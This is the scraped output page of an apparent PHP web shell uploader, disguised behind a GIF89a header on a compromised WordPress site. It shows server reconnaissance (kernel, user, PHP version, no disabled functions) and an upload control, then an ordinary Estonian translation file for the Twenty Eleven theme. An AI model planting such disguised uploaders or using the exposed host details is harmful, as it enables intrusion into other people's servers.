GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/themes/twentyeleven/languages/et.po
# Copyright (C) 2010 Twenty Eleven
# This file is distributed under the same license as the Twenty Eleven package.
msgid ""
msgstr ""
"Project-Id-Version: Twenty Eleven 1.0\n"
"Report-Msgid-Bugs-To: http://wordpress.org/tag/twentyeleven\n"
"POT-Creation-Date: 2011-06-30 22:47:23+00:00\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"PO-Revision-Date: 2011-08-28 17:39+0200\n"
"Last-Translator: Erko Risthein <erko@risthein.ee>\n"
"Language-Team: TT <LL@li.org>\n"
"X-Poedit-Language: Estonian\n"
"X-Poedit-Country: ESTONIA\n"
"X-Poedit-SourceCharset: utf-8\n"

#: content-quote.php:14
#: showcase.php:113
#: showcase.php:192
#: content.php:15
#: content.php:19
#: content-image.php:15
#: content-gallery.php:16
#: content-gallery.php:48
#: content-aside.php:16
#: content-status.php:15
#: inc/widgets.php:91
#: content-link.php:16
#: content-featured.php:14
msgid "Permalink to %s"
msgstr "Püsiviide: %s"

#: content-quote.php:15
msgid "Quote"
msgstr "Tsitaat"

#: content-quote.php:24
#: content.php:30
#: content-image.php:21
#: content-image.php:64
#: content-aside.php:22
#: content-status.php:21
#: content-link.php:22
msgid "Reply"
msgstr "Vasta"

#: content-quote.php:24
#: content.php:30
#: content-image.php:21
#: content-aside.php:22
#: content-status.php:21
#: content-link.php:22
msgctxt "comments number"
msgid "1"
msgstr ""

#: content-quote.php:24
#: content.php:30
#: content-image.php:21
#: content-aside.php:22
#: content-status.php:21
#: content-link.php:22
msgctxt "comments number"
msgid "%"
msgstr ""

#: content-quote.php:35
#: content.php:41
#: content-image.php:27
#: content-gallery.php:32
#: content-aside.php:33
#: functions.php:327
#: content-status.php:34
#: content-link.php:33
msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
msgstr "Jätka lugemist <span class=\"meta-nav\">&rarr;</span>"

#: content-quote.php:36
#: content.php:42
#: content-image.php:28
#: content-single.php:24
#: content-intro.php:18
#: content-gallery.php:54
#: content-aside.php:34
#: image.php:89
#: content-status.php:35
#: content-page.php:18
#: content-link.php:34
#: content-featured.php:23
msgid "Pages:"
msgstr "Lehed:"

#. translators: used between list items, there is a space after the comma
#: content-quote.php:44
#: content-quote.php:54
#: content.php:51
#: content.php:61
#: content-image.php:47
#: content-image.php:56
#: content-single.php:30
#: content-single.php:33
#: content-gallery.php:62
#: content-gallery.php:72
#: content-featured.php:29
#: content-featured.php:38
msgid ", "
msgstr ", "

#: content-quote.php:48
#: content.php:55
#: content-image.php:51
#: content-gallery.php:66
msgid "<span class=\"%1$s\">Posted in</span> %2$s"
msgstr "<span class=\"%1$s\">Rubriigid:</span> %2$s"

#: content-quote.php:60
#: content.php:67
#: content-image.php:59
#: content-gallery.php:78
msgid "<span class=\"%1$s\">Tagged</span> %2$s"
msgstr "<span class=\"%1$s\">Sildid:</span> %2$s"

#: content-quote.php:69
#: showcase.php:194
#: content.php:77
#: content-aside.php:42
#: content-status.php:43
#: content-link.php:42
msgid "Leave a reply"
msgstr "Lisa kommentaar"

#: content-quote.php:69
#: showcase.php:194
#: content.php:77
#: content-gallery.php:87
#: content-aside.php:42
#: content-status.php:43
#: content-link.php:42
msgid "<b>1</b> Reply"
msgstr "<b>1</b> kommentaar"

#: content-quote.php:69
#: showcase.php:194
#: content.php:77
#: content-gallery.php:87
#: content-aside.php:42
#: content-status.php:43
#: content-link.php:42
msgid "<b>%</b> Replies"
msgstr ""

#: content-quote.php:72
#: content.php:80
#: content-image.php:68
#: content-single.php:52
#: content-intro.php:19
#: content-gallery.php:90
#: content-aside.php:44
#: image.php:40
#: functions.php:503
#: functions.php:531
#: content-status.php:45
#: content-page.php:21
#: content-link.php:44
#: content-featured.php:45
msgid "Edit"
msgstr "Muuda"

#: showcase.php:70
msgid "Featured Post"
msgstr "Esilehepostitus"

#: showcase.php:143
msgid "Featuring: %s"
msgstr ""

#: showcase.php:153
msgid "Recent Posts"
msgstr "Värsked postitused"

#: index.php:37
#: category.php:50
#: tag.php:50
#: author.php:74
#: search.php:42
#: archive.php:57
msgid "Nothing Found"
msgstr "Midagi ei leitud"

#: index.php:41
#: category.php:54
#: tag.php:54
#: author.php:78
#: archive.php:61
msgid "Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post."
msgstr "Vabandust, kuid soovitud arhiivist otsitavat ei leitud. Ehk aitab otsing leida midagi ligilähedast."

#: content.php:16
msgid "Featured"
msgstr "Valitud"

#. #-#-#-#-#  twentyeleven.pot (Twenty Eleven 1.0)  #-#-#-#-#
#. Author URI of the plugin/theme
#: footer.php:26
msgid "http://wordpress.org/"
msgstr "http://wordpress.org/"

#: footer.php:26
msgid "Semantic Personal Publishing Platform"
msgstr "Semantiline avaldamisplatvorm"

#: footer.php:26
msgid "Proudly powered by %s"
msgstr "Kasutame %si"

#: category.php:19
msgid "Category Archives: %s"
msgstr "Rubriigiarhiiv: %s"

#: content-image.php:16
msgid "Image"
msgstr "Pilt"

#: content-image.php:34
msgid "<a href=\"%1$s\" rel=\"bookmark\"><time class=\"entry-date\" datetime=\"%2$s\" pubdate>%3$s</time></a><span class=\"by-author\"> <span class=\"sep\"> by </span> <span class=\"author vcard\"><a class=\"url fn n\" href=\"%4$s\" title=\"%5$s\" rel=\"author\">%6$s</a></span></span>"
msgstr ""

#: content-image.php:39
#: functions.php:568
msgid "View all posts by %s"
msgstr "Vaata autori %s postitusi"

#: content-image.php:64
msgid "<strong>1</strong> Reply"
msgstr "<strong>1</strong> kommentaar"

#: content-image.php:64
msgid "<strong>%</strong> Replies"
msgstr "<strong>%</strong> kommentaari"

#: sidebar.php:19
msgid "Archives"
msgstr "Arhiiv"

#: sidebar.php:26
msgid "Meta"
msgstr "Meta"

#: content-single.php:35
msgid "This entry was posted in %1$s and tagged %2$s by <a href=\"%6$s\">%5$s</a>. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr ""

#: content-single.php:37
msgid "This entry was posted in %1$s by <a href=\"%6$s\">%5$s</a>. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Rubriigid: %1$s, autor: <a href=\"%6$s\">%5$s</a>. Salvesta <a href=\"%3$s\" title=\"%4$s püsiviide\" rel=\"bookmark\">püsiviide</a> oma järjehoidjasse."

#: content-single.php:39
msgid "This entry was posted by <a href=\"%6$s\">%5$s</a>. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Autor:  <a href=\"%6$s\">%5$s</a>. Salvesta <a href=\"%3$s\" title=\"%4$s püsiviide\" rel=\"bookmark\">püsiviide</a> oma järjehoidjasse."

#: content-single.php:60
#: author.php:49
msgid "About %s"
msgstr "%s: tutvustus"

#: content-single.php:64
msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "Vaata postitusi (sorteeritud: %s) <span class=\"meta-nav\">&rarr;</span>"

#: tag.php:19
msgid "Tag Archives: %s"
msgstr "Sildiarhiiv: %s"

#: content-gallery.php:17
msgid "Gallery"
msgstr "Galerii"

#: content-gallery.php:47
#, fuzzy
msgid "This gallery contains <a %1$s>%2$s photo</a>."
msgstr "This gallery contains <a %1$s>%2$s photos</a>."

#: content-gallery.php:87
msgid "Leave a Reply"
msgstr "Lisa kommentaar"

#: comments.php:17
msgid "This post is password protected. Enter the password to view any comments."
msgstr "See postitus on parooliga kaitstud. Kommentaaride lugemiseks sisesta parool."

#: comments.php:33
msgid "One thought on &ldquo;%2$s&rdquo;"
msgstr ""

#: comments.php:40
#: comments.php:60
#, fuzzy
msgid "Comment navigation"
msgstr "Põhiliikumised"

#: comments.php:41
#: comments.php:61
msgid "&larr; Older Comments"
msgstr "&larr; Vanemad kommentaarid"

#: comments.php:42
#: comments.php:62
msgid "Newer Comments &rarr;"
msgstr "Uuemad kommentaarid &rarr;"

#: comments.php:72
msgid "Comments are closed."
msgstr "Kommenteerimine on suletud."

#: content-aside.php:17
msgid "Aside"
msgstr "Kõrval"

#: 404.php:17
msgid "This is somewhat embarrassing, isn&rsquo;t it?"
msgstr ""

#: 404.php:21
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching, or one of the links below, can help."
msgstr ""

#: 404.php:28
msgid "Most Used Categories"
msgstr "Vali enimkasutatud siltide seast"

#. translators: %1$s: smilie
#: 404.php:36
msgid "Try looking in the monthly archives. %1$s"
msgstr ""

#: image.php:18
#, fuzzy
msgid "Image navigation"
msgstr "Põhiliikumised"

#: image.php:19
msgid "&larr; Previous"
msgstr "&larr; eelmine"

#: image.php:20
msgid "Next &rarr;"
msgstr "Järgmine &rarr;"

#: image.php:30
msgid "<span class=\"meta-prep meta-prep-entry-date\">Published </span> <span class=\"entry-date\"><abbr class=\"published\" title=\"%1$s\">%2$s</abbr></span> at <a href=\"%3$s\" title=\"Link to full-size image\">%4$s &times; %5$s</a> in <a href=\"%6$s\" title=\"Return to %7$s\" rel=\"gallery\">%7$s</a>"
msgstr ""

#: functions.php:101
msgid "Primary Menu"
msgstr "Peamenüü"

#. translators: header image description
#: functions.php:149
msgid "Wheel"
msgstr ""

#. translators: header image description
#: functions.php:155
msgid "Shore"
msgstr ""

#. translators: header image description
#: functions.php:161
msgid "Trolley"
msgstr ""

#. translators: header image description
#: functions.php:167
msgid "Pine Cone"
msgstr ""

#. translators: header image description
#: functions.php:173
msgid "Chessboard"
msgstr ""

#. translators: header image description
#: functions.php:179
msgid "Lanterns"
msgstr ""

#. translators: header image description
#: functions.php:185
msgid "Willow"
msgstr ""

#. translators: header image description
#: functions.php:191
msgid "Hanoi Plant"
msgstr ""

#: functions.php:374
msgid "Main Sidebar"
msgstr "Peamine külgpaan"

#: functions.php:383
msgid "Showcase Sidebar"
msgstr "Näidiste külgpaan"

#: functions.php:385
msgid "The sidebar for the optional Showcase Template"
msgstr ""

#: functions.php:393
msgid "Footer Area One"
msgstr "Esimene mooduliala jaluses"

#: functions.php:395
#: functions.php:405
#: functions.php:415
msgid "An optional widget area for your site footer"
msgstr ""

#: functions.php:403
msgid "Footer Area Two"
msgstr "Teine mooduliala jaluses"

#: functions.php:413
msgid "Footer Area Three"
msgstr "Kolmas mooduliala jaluses"

#: functions.php:432
#: single.php:18
#, fuzzy
msgid "Post navigation"
msgstr "Põhiliikumised"

#: functions.php:433
msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
msgstr "<span class=\"meta-nav\">&larr;</span> Vanemad postitused"

#: functions.php:434
msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
msgstr "Uuemad postitused <span class=\"meta-nav\">&rarr;</span>"

#: functions.php:503
msgid "Pingback:"
msgstr "Pingback:"

#. translators: 1: comment author, 2: date and time
#: functions.php:520
msgid "%1$s on %2$s <span class=\"says\">said:</span>"
msgstr "%1$s @ %2$s <span class=\"says\">ütles:</span>"

#. translators: 1: date, 2: time
#: functions.php:526
msgid "%1$s at %2$s"
msgstr "%1$s kell %2$s"

#: functions.php:535
msgid "Your comment is awaiting moderation."
msgstr "Sinu kommentaar ootab modereerimist."

#: functions.php:544
msgid "Reply <span>&darr;</span>"
msgstr "Vasta <span>&darr;</span>"

#: functions.php:562
msgid "<span class=\"sep\">Posted on </span><a href=\"%1$s\" title=\"%2$s\" rel=\"bookmark\"><time class=\"entry-date\" datetime=\"%3$s\" pubdate>%4$s</time></a><span class=\"by-author\"> <span class=\"sep\"> by </span> <span class=\"author vcard\"><a class=\"url fn n\" href=\"%5$s\" title=\"%6$s\" rel=\"author\">%7$s</a></span></span>"
msgstr ""

#: header.php:45
msgid "Page %s"
msgstr "Leht %s"

#: header.php:113
msgid "Main menu"
msgstr "Peamenüü"

#: header.php:115
#, fuzzy
msgid "Skip to primary content"
msgstr "või seosta olemasoleva sisuga"

#: header.php:116
#, fuzzy
msgid "Skip to secondary content"
msgstr "või seosta olemasoleva sisuga"

#: author.php:28
msgid "Author Archives: %s"
msgstr "Autoriarhiiv: %s"

#: content-status.php:16
msgid "Status"
msgstr "Olek"

#: inc/theme-options.php:80
#: inc/theme-options.php:81
msgid "Theme Options"
msgstr "Teemavalikud"

#: inc/theme-options.php:90
msgid "Some themes provide customization options that are grouped together on a Theme Options screen. If you change themes, options may change or disappear, as they are theme-specific. Your current theme, Twenty Eleven, provides the following Theme Options:"
msgstr ""

#: inc/theme-options.php:92
msgid "<strong>Color Scheme</strong>: You can choose a color palette of \"Light\" (light background with dark text) or \"Dark\" (dark background with light text) for your site."
msgstr ""

#: inc/theme-options.php:93
msgid "<strong>Link Color</strong>: You can choose the color used for text links on your site. You can enter the HTML color or hex code, or you can choose visually by clicking the \"Select a Color\" button to pick from a color wheel."
msgstr ""

#: inc/theme-options.php:94
msgid "<strong>Default Layout</strong>: You can choose if you want your site&#8217;s default layout to have a sidebar on the left, the right, or not at all."
msgstr ""

#: inc/theme-options.php:96
msgid "Remember to click \"Save Changes\" to save any changes you have made to the theme options."
msgstr ""

#: inc/theme-options.php:97
msgid "For more information:"
msgstr "Vaata lisaks:"

#: inc/theme-options.php:98
msgid "<a href=\"http://codex.wordpress.org/Appearance_Theme_Options_Screen\" target=\"_blank\">Documentation on Theme Options</a>"
msgstr "<a href=\"http://codex.wordpress.org/Appearance_Theme_Options_Screen\" target=\"_blank\">Dokumentatsioon</a>"

#: inc/theme-options.php:99
msgid "<a href=\"http://wordpress.org/support/\" target=\"_blank\">Support Forums</a>"
msgstr "<a href=\"http://wordpress.org/support/\" target=\"_blank\">Foorum</a>"

#: inc/theme-options.php:114
msgid "Light"
msgstr "Hele"

#: inc/theme-options.php:120
msgid "Dark"
msgstr "Tume"

#: inc/theme-options.php:138
#, fuzzy
msgid "Content on left"
msgstr "%2$s kommentaar  %1$s kohta"

#: inc/theme-options.php:143
#, fuzzy
msgid "Content on right"
msgstr "%2$s kommentaar  %1$s kohta"

#: inc/theme-options.php:148
msgid "One-column, no sidebar"
msgstr ""

#: inc/theme-options.php:213
msgid "%s Theme Options"
msgstr "%s teemavalikud"

#: inc/theme-options.php:225
#: inc/theme-options.php:227
#: inc/theme-options.php:263
msgid "Color Scheme"
msgstr "Värvilahendus"

#: inc/theme-options.php:248
#: inc/theme-options.php:250
msgid "Link Color"
msgstr "Viite värv"

#: inc/theme-options.php:253
msgid "Select a Color"
msgstr "Vali värvus"

#: inc/theme-options.php:256
msgid "Default color: %s"
msgstr "Vaikimisi värv: %s"

#: inc/theme-options.php:261
msgid "Default Layout"
msgstr "Vaikimisi kujundus"

#: inc/widgets.php:19
msgid "Use this widget to list your recent Aside, Status, Quote, and Link posts"
msgstr ""

#: inc/widgets.php:20
msgid "Twenty Eleven Ephemera"
msgstr ""

#: inc/widgets.php:52
msgid "Ephemera"
msgstr ""

#: inc/widgets.php:93
#: inc/widgets.php:109
msgid "0 <span class=\"reply\">comments &rarr;</span>"
msgstr "0 <span class=\"reply\">kommentaari &rarr;</span>"

#: inc/widgets.php:93
#: inc/widgets.php:109
msgid "1 <span class=\"reply\">comment &rarr;</span>"
msgstr "1 <span class=\"reply\">kommentaar &rarr;</span>"

#: inc/widgets.php:93
#: inc/widgets.php:109
msgid "% <span class=\"reply\">comments &rarr;</span>"
msgstr "% <span class=\"reply\">kommentaari &rarr;</span>"

#: inc/widgets.php:107
msgid "Link to %s"
msgstr "Viide: %s"

#: inc/widgets.php:159
msgid "Title:"
msgstr "Pealkiri:"

#: inc/widgets.php:162
msgid "Number of posts to show:"
msgstr "Näidatavate postituste arv:"

#: search.php:18
msgid "Search Results for: %s"
msgstr "Otsitulemused: %s"

#: search.php:46
msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords."
msgstr "Vabandust, aga su otsing ei andnud tulemusi. Proovi teisi otsisõnu."

#: archive.php:25
msgid "Daily Archives: %s"
msgstr "Arhiiv kuupäevade lõikes: %"

#: archive.php:27
msgid "Monthly Archives: %s"
msgstr "Arhiiv kuude lõikes: %s"

#: archive.php:29
msgid "Yearly Archives: %s"
msgstr "Arhiiv aastate lõikes: %s"

#: archive.php:31
msgid "Blog Archives"
msgstr "Arhiiv"

#: content-link.php:17
msgid "Link"
msgstr "Viide"

#: content-featured.php:31
msgid "This entry was posted in %1$s and tagged %2$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Rubriigid: %1$s, sildid: %2$s. Salvesta <a href=\"%3$s\" title=\"%4$s püsiviide\" rel=\"bookmark\">püsiviide</a> oma järjehoidjasse."

#: content-featured.php:33
msgid "This entry was posted in %1$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Rubriigid: %1$s. Salvesta <a href=\"%3$s\" title=\"%4$s püsiviide\" rel=\"bookmark\">püsiviide</a> oma järjehoidjasse."

#: single.php:19
msgid "<span class=\"meta-nav\">&larr;</span> Previous"
msgstr "<span class=\"meta-nav\">&larr;</span> eelmine"

#: single.php:20
msgid "Next <span class=\"meta-nav\">&rarr;</span>"
msgstr "Järgmine <span class=\"meta-nav\">&rarr;</span>"

#: searchform.php:11
#: searchform.php:12
#: searchform.php:13
msgid "Search"
msgstr "Otsi"

#. Theme Name of the plugin/theme
msgid "Twenty Eleven"
msgstr "Twenty Eleven"

#. Theme URI of the plugin/theme
msgid "http://wordpress.org/extend/themes/twentyeleven"
msgstr "http://wordpress.org/extend/themes/twentyeleven"

#. Description of the plugin/theme
msgid "The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom \"Ephemera\" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured \"sticky\" posts), and special styles for six different post formats."
msgstr ""

#. Author of the plugin/theme
msgid "the WordPress team"
msgstr "WordPressi meeskond"

#. Tags of the plugin/theme
msgid "dark, light, white, black, gray, one-column, two-columns, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-image-header, featured-images, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready"
msgstr ""